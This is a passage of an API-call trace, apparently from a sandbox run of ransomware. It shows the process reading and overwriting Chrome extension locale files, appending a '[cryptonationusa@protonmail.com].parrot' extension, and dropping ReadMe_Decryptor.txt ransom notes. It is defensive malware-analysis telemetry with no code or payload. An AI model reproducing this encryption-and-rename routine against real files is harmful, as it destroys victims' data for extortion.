lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.377] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.377] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a43460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0057.377] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0057.377] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0057.377] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0057.377] GetFileSize (in: hFile=0x280, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xec [0057.377] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x204, nNumberOfBytesToLockHigh=0x0) returned 1 [0057.377] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0057.377] ReadFile (in: hFile=0x280, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0057.378] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.378] ReadFile (in: hFile=0x280, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xec, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xec, lpOverlapped=0x0) returned 1 [0057.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0057.378] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0057.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0057.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0057.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0057.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0057.379] GetLastError () returned 0x0 [0057.379] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0057.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0057.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0057.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0057.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0057.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0057.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0057.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0057.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0057.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0057.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0057.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0057.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0057.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0057.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0057.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0057.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0057.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0057.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0057.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0057.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0057.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0057.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0057.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0057.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0057.380] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0057.380] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0057.380] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d0248 [0057.380] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0057.380] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x208) returned 0x615228 [0057.380] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0248 | out: hHeap=0x5b0000) returned 1 [0057.380] WriteFile (in: hFile=0x280, lpBuffer=0x615228*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x615228*, lpNumberOfBytesWritten=0x18da44*=0x208, lpOverlapped=0x0) returned 1 [0057.380] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615228 | out: hHeap=0x5b0000) returned 1 [0057.380] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x204, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0057.380] CloseHandle (hObject=0x280) returned 1 [0057.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d0248 [0057.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0380 [0057.381] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0248 | out: hHeap=0x5b0000) returned 1 [0057.381] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0057.381] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0380 | out: hHeap=0x5b0000) returned 1 [0057.382] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69bb98 | out: hHeap=0x5b0000) returned 1 [0057.382] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0057.382] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d94a0 [0057.382] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d95c8 [0057.382] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0057.382] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0057.382] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0057.382] GetFileType (hFile=0x280) returned 0x1 [0057.382] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0057.393] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0057.393] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb108d8e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb108d8e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.393] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a43460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb108d8e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0057.393] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x2240ba8 [0057.393] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240ba8 | out: hHeap=0x5b0000) returned 1 [0057.946] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0057.946] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x69bb98 [0057.946] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb108d8e0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb108d8e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb108d8e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0057.946] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0057.946] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0057.946] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0057.946] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb108d8e0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb108d8e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb108d8e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0057.946] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d94a0 | out: hHeap=0x5b0000) returned 1 [0057.946] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0057.947] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0057.947] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0057.947] lstrcmpW (lpString1="ko", lpString2=".") returned 1 [0057.947] lstrcmpW (lpString1="ko", lpString2="..") returned 1 [0057.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d8fd0 [0057.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x2240a80 [0057.947] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0057.947] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90e8 | out: hHeap=0x5b0000) returned 1 [0057.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d8fd0 [0057.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d90f8 [0057.947] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0058.519] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0058.519] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.519] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0058.519] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0058.519] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a6a560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0058.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0058.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0058.519] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0058.519] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0058.520] GetFileSize (in: hFile=0x284, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xe6 [0058.520] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0) returned 1 [0058.520] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0058.520] ReadFile (in: hFile=0x284, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0058.521] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.521] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe6, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe6, lpOverlapped=0x0) returned 1 [0058.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0058.521] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0058.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0058.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0058.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0058.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0058.521] GetLastError () returned 0x0 [0058.521] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0058.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0058.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0058.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0058.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0058.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0058.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0058.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0058.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0058.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0058.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0058.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0058.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0058.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0058.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0058.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0058.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0058.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0058.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0058.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0058.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0058.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0058.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0058.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0058.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0058.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0058.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0058.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d0248 [0058.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0058.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x208) returned 0x615450 [0058.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0248 | out: hHeap=0x5b0000) returned 1 [0058.522] WriteFile (in: hFile=0x284, lpBuffer=0x615450*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x615450*, lpNumberOfBytesWritten=0x18da44*=0x208, lpOverlapped=0x0) returned 1 [0058.523] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0058.523] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0058.523] CloseHandle (hObject=0x284) returned 1 [0058.524] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d0248 [0058.524] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0380 [0058.524] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0248 | out: hHeap=0x5b0000) returned 1 [0058.524] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0058.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0380 | out: hHeap=0x5b0000) returned 1 [0058.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69bd20 | out: hHeap=0x5b0000) returned 1 [0058.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0058.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9310 [0058.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d9438 [0058.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0058.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0058.525] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0058.525] GetFileType (hFile=0x284) returned 0x1 